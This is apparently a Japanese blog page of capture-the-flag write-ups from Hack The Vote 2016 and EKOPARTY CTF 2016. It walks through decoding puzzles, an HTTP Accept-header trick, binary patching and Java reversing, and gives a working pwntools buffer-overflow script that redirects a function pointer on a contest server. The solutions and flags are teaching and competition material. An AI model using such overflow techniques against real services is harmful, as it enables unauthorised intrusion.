2016年11月

Hack The Vote 2016 writeup TOPKEK

TOPKEK

50

A CNN reporter had only one question that she couldn't get off her mind

Do we even know, who is this 4 CHAN???

So she set out to find who this 400lb hacker is. During her investigation, she came across this cryptic message on some politically incorrect forum online, can you figure out what it means?

kek

author's irc nick: krx

ダウンロードしたファイルを確認すると、次のとおり、KEKとTOPという単語が交互に出現し、各単語の末尾に!が1~5個くっついています。
KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!
KEKをビットの0、TOPをビットの1、!の個数だけそのビットを表すと仮定して、そのビット列を文字列に変換するPythonのプログラムを下記に書いてみます。
f = open('kek.txt', 'r')
s = f.read()
items = s.split(' ')
f.close()
ans = ''
for item in items:
if item[:3] == 'KEK':
ans = ans + '0' * item.count('!')
elif item[:3] == 'TOP':
ans = ans + '1' * item.count('!')
flag = ('%x' % int(ans, 2)).decode('hex')
print flag
これを実行すると、次のとおりフラグを得ることができました。
flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}
フラグは、
flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}

Hack The Vote 2016 writeup Sanity

Sanity

1

The flag is flag{th3r3_1s_0nly_on3_ch0ic3}

フラグは、
flag{th3r3_1s_0nly_on3_ch0ic3}

Hack The Vote 2016 writeup Sanders Fan Club

Sanders Fan Club

100

Those deplorable Sanders supporters are still fighting. Shut the site down by finding where the idiot stored his credentials.

http://sandersfanclub.pwn.democrat

author's irc nick: Lense

提示されたリンク先を表示します。

no title

メッセージを読んでみると、下記のとおり、FireFoxのみで動作する、と書かれています。ということで、ここからはFireFoxで操作します。
Man, I just love Bernie Sanders. He's still got a chance! Bernie's Going to win!! This site is still a work in progress though. It only works in Firefox I think. I'm not very good at webdev, so I just copied and pasted a bunch of config files from StackOverflow. I think I left my credentials somewhere, but I can't seem to find them. Let me know if you see them, ok? Thanks. And remember, vote Bernie!!
下図はlogin.htmlページをFireFoxで見たところです。

1

応答ヘッダのLinkタグがJPEGファイルでstylesheetとなっています。
<flag2.jpg>;rel=stylesheet
flag2.jpgはトップページの右側の国旗の画像のはずですが、応答を見てみましょう。下図のとおり、CSSファイルです。

2

このCSSファイルの最後に次のようなコメントが記載されています。 Textファイルに認証情報を記載している、というようなことが書いてあります。
/* 
 * How did I... Nevermind. I'm pretty sure my creds are in a text file
 */ 
ここで、flag2.jpgの要求ヘッダ、応答ヘッダを見てみます。Acceptタグでtext/cssが指定されています。Acceptタグは、受信可能なレスポンスデータのメディアタイプを指定するタグになります。
それでは、単なるテキストファイルを受け付けるように、下図のようにAcceptタグをtext/plainに書き換えて要求を送ってみます。

4

下図のとおり、応答が返ってきました。

5

したがって、フラグは、
flag{I_am_very_bad_with_computers}
です。





Hack The Vote 2016 writeup Insanity

Insanity

-2

THIS WILL REALLY SUBTRACT TWO POINTS FROM YOUR SCORE

The flag is flag{d0nt_w4st3_y0ur_v0t3!}

この問題は得点が減点されます。

フラグは、
flag{d0nt_w4st3_y0ur_v0t3!}
だと思われます。 



Hack The Vote 2016 writeup Consul

Consul

100

Bernie Sanders 2018

consul

author's irc nick: mxms

ダウンロードしたファイルをfileコマンドでファイルタイプを確認します。
$ file consul
consul: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=897c070c53ceb5b58080d891a68b96a197816773, not stripped
Linuxの64bitバイナリです。次にobjdumpコマンドでこのバイナリを逆アセンブルします。
$ objdump -s -D consul > aaa.txt
<_start>関数から<main>関数が呼び出されています。
0000000000400540 <_start>:
  400540: 31 ed                 xor    %ebp,%ebp
  400542: 49 89 d1             mov    %rdx,%r9
  400545: 5e                   pop    %rsi
  400546: 48 89 e2             mov    %rsp,%rdx
  400549: 48 83 e4 f0           and    $0xfffffffffffffff0,%rsp
  40054d: 50                   push   %rax
  40054e: 54                   push   %rsp
  40054f: 49 c7 c0 60 0b 40 00 mov    $0x400b60,%r8
  400556: 48 c7 c1 70 0b 40 00 mov    $0x400b70,%rcx
  40055d: 48 c7 c7 3d 0b 40 00 mov    $0x400b3d,%rdi #<main>
  400564: e8 a7 ff ff ff       callq  400510 <__libc_start_main@plt>
  400569: f4                   hlt  
<main>関数の中では、Poor Bernieという文字列を出力しているだけです。
0000000000400b3d <main>:
  400b3d: 55                   push   %rbp
  400b3e: 48 89 e5             mov    %rsp,%rbp
  400b41: 48 83 ec 10           sub    $0x10,%rsp
  400b45: 89 7d fc             mov    %edi,-0x4(%rbp)
  400b48: 48 89 75 f0           mov    %rsi,-0x10(%rbp)
  400b4c: bf 11 0c 40 00       mov    $0x400c11,%edi #Poor Bernie
  400b51: e8 8a f9 ff ff       callq  4004e0 <puts@plt>
  400b56: b8 00 00 00 00       mov    $0x0,%eax
  400b5b: c9                   leaveq 
  400b5c: c3                   retq   
逆アセンブルされたソースを眺めてみると、<help>、<real_help>、<fake_help>、<dont_call_me>という意味深な名前の関数があります。<_start>関数の中で<main>を呼び出している箇所を書き換えて、<real_help>関数を呼び出すように修正してみます。修正したファイルを実行すると、下記のような文字列が出力されました。
$ ./consul_2
Leonardo De Pisa? Who's that?The next president?
下記が<real_help>関数の内容です。0x6012a0のメモリ内容が<sub_43E8>関数の処理により、上記文字列に変換されています。
0000000000400ad9 <real_help>:
  400ad9: 55                   push   %rbp
  400ada: 48 89 e5             mov    %rsp,%rbp
  400add: 48 83 ec 10           sub    $0x10,%rsp
  400ae1: be 0d 00 00 00       mov    $0xd,%esi
  400ae6: bf a0 12 60 00       mov    $0x6012a0,%edi
  400aeb: e8 5c fb ff ff       callq  40064c <sub_43E8>
  400af0: 48 89 45 f8           mov    %rax,-0x8(%rbp)
  400af4: 48 8b 45 f8           mov    -0x8(%rbp),%rax
  400af8: 48 89 c6             mov    %rax,%rsi
  400afb: bf 0c 0c 40 00       mov    $0x400c0c,%edi #%s
  400b00: b8 00 00 00 00       mov    $0x0,%eax
  400b05: e8 f6 f9 ff ff       callq  400500 <printf@plt>
  400b0a: b8 00 00 00 00       mov    $0x0,%eax
  400b0f: e8 db fd ff ff       callq  4008ef <c2>
  400b14: c9                   leaveq 
  400b15: c3                   retq   
ここで、0x6012a0周辺のメモリの内容を良く見てみます。

no title

0x601280の部分が怪しく見えます。
00000000:00601280|26 2c 21 27 3b 37 32 29 34 25 1f 29 2e 1f 22 25|&,!';72)4%.).."%|
00000000:00601290|32 2e 29 25 e1 3d                              |2.)%.=          |
この部分にそれぞれ0x40を加算すると、下記のとおりとなり、これを文字に直すとフラグの形式になります。
66 6C 61 67 7B 77 72 69 74 65 5F 69 6E 5F 62 65 72 6E 69 65 21 7D
フラグは、
flag{write_in_bernie!}
です。
 
アセンブリ言語スタートブック
高田美樹
技術評論社
2015-08-08


EKOPARTY CTF 2016 writeup Ultra baby

Ultra baby

(pwn, 25 points, solved by 238)

Reach the flag function!


nc 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site 55000

Attachment

pwn25_5ae6e58885e7cd75.zip

与えられたファイルを解凍し、fileコマンドでファイルタイプを確認します。Linuxの64bitバイナリです。
$ file ultrababy 
ultrababy: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=de50a6b52145c2fed72e45e8f36dd27f0daced16, not stripped
objdumpコマンドで逆アセンブルします。
$ objdump -s -D ultrababy > aaa.txt
アドレス7f3にフラグを出力するFlag関数があります。
00000000000007e0 <Bye>:
 7e0: 55                   push   %rbp
 7e1: 48 89 e5             mov    %rsp,%rbp
 7e4: 48 8d 3d 4d 01 00 00 lea    0x14d(%rip),%rdi #938 Bye bye
 7eb: e8 90 fe ff ff       callq  680 <_init+0x28> #puts
 7f0: 90                   nop
 7f1: 5d                   pop    %rbp
 7f2: c3                   retq   

00000000000007f3 <Flag>:
 7f3: 55                   push   %rbp
 7f4: 48 89 e5             mov    %rsp,%rbp
 7f7: 48 8d 3d 42 01 00 00 lea    0x142(%rip),%rdi #940 EKO{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
 7fe: e8 7d fe ff ff       callq  680 <_init+0x28> #puts
 803: 90                   nop
 804: 5d                   pop    %rbp
 805: c3                   retq   
次にmain関数を見てみます。アドレス881で入力を受け付けて、アドレス89eでレジスタrdxが指すアドレスをcallしています。
0000000000000806 <main>:
(略)
 881: e8 02 fe ff ff       callq  688 <_init+0x30> #gets
(略)
 89e: ff d2                 callq  *%rdx #ここのcall先を07f3<Flag>に書き換える
それでは、edbでアドレス89eにBreakpointを設定したときのStackとRegisterの状態を見てみましょう。
 
1 2

Stackのアドレスe2b0に入力文字列が格納されています。そしてアドレスe2c8の値がレジスタのRDXに設定されています。通常はアドレス7e0のBye関数がcallされます。
したがって、入力文字列の25文字目でcallさせるアドレスを上書きできますので、0xf3で上書きしてアドレス7f3をcallさせるようにします。そのPythonプログラムを下記します。
#!/usr/bin/env python2
from pwn import *
import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./ultrababy')
else:
    p = remote('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 55000)

time.sleep(0.1)

p.sendline(
''
+ 'A' * 24
+ p8(0xf3) #flag
)
time.sleep(0.1)
p.recvall()
このPythonプログラムを実行すると、次のとおりフラグを出力させることができました。
$ python aaa.py
[+] Opening connection to 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site on port 55000: Done
[DEBUG] Sent 0x1a bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  f3 0a                     │AAAA│AAAA│??│
    0000001a
[+] Recieving all data: Done (66B)
[DEBUG] Received 0x1f bytes:
    'Welcome, give me you best shot\n'
[DEBUG] Received 0x23 bytes:
    'EKO{Welcome_to_pwning_challs_2k16}\n'
[*] Closed connection to 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site port 55000
フラグは、
EKO{Welcome_to_pwning_challs_2k16}
です。



EKOPARTY CTF 2016 writeup RFC 7230

RFC 7230

(web, 50 points, solved by 508)

Get just basic information from this server (ctf.ekoparty.org).

Fiddlerを立ち上げて、ブラウザでhttp://ctf.ekoparty.orgにアクセスします。下図のとおり、レスポンスヘッダーのServerタグにフラグが設定されています。

no title

フラグは、
EKO{this_is_my_great_server}
です。

 

EKOPARTY CTF 2016 writeup Mr. Robot

Mr. Robot

(web, 25 points, solved by 518)

Disallow it!

https://ctf.ekoparty.org/robots.txt にアクセスします。
User-agent: *
Disallow: /static/wIMti7Z27b.txt
次に、https://ctf.ekoparty.org/static/wIMti7Z27b.txt にアクセスします。
EKO{robot_is_following_us}
フラグは、
EKO{robot_is_following_us}
です。



EKOPARTY CTF 2016 writeup JVM

JVM

(rev, 25 points, solved by 483)

Bytecodes everywhere, reverse them.

Attachment

rev25_3100aa76fca4432f.zip

ダウンロードした解凍すると、Javaのclassファイル「EKO.class」ファイルができます。このファイルをJD-GUIで逆コンパイルし、Javaソースを参照します。
public class EKO
{
  public static void main(String[] paramArrayOfString)
  {
    int i = 0;
    for (int j = 0; j < 1337; j++) {
      i += j;
    }
    String str = "EKO{" + i + "}";
  }
}
0から1336までの和を、フラグ形式で囲んだものがフラグになります。
したがってフラグは、
EKO{893116}
です。

新・明解Java入門 (明解シリーズ)
柴田 望洋
SBクリエイティブ
2016-06-25

 

EKOPARTY CTF 2016 writeup Hidden inside EKO

Hidden inside EKO

(misc, 50 points, solved by 314)

Find the hidden flag in the EKO pixels!

背景画像の中にフラグがありそうです。/static/css/ctf.cssファイルで下記のとおり背景画像を指定しています。
background-image: url("/static/img/background.png");
この画像ファイルの左上の部分に黒字でフラグが記載されています。

background

フラグは、
EKO{th3_fl4g}
です。



記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー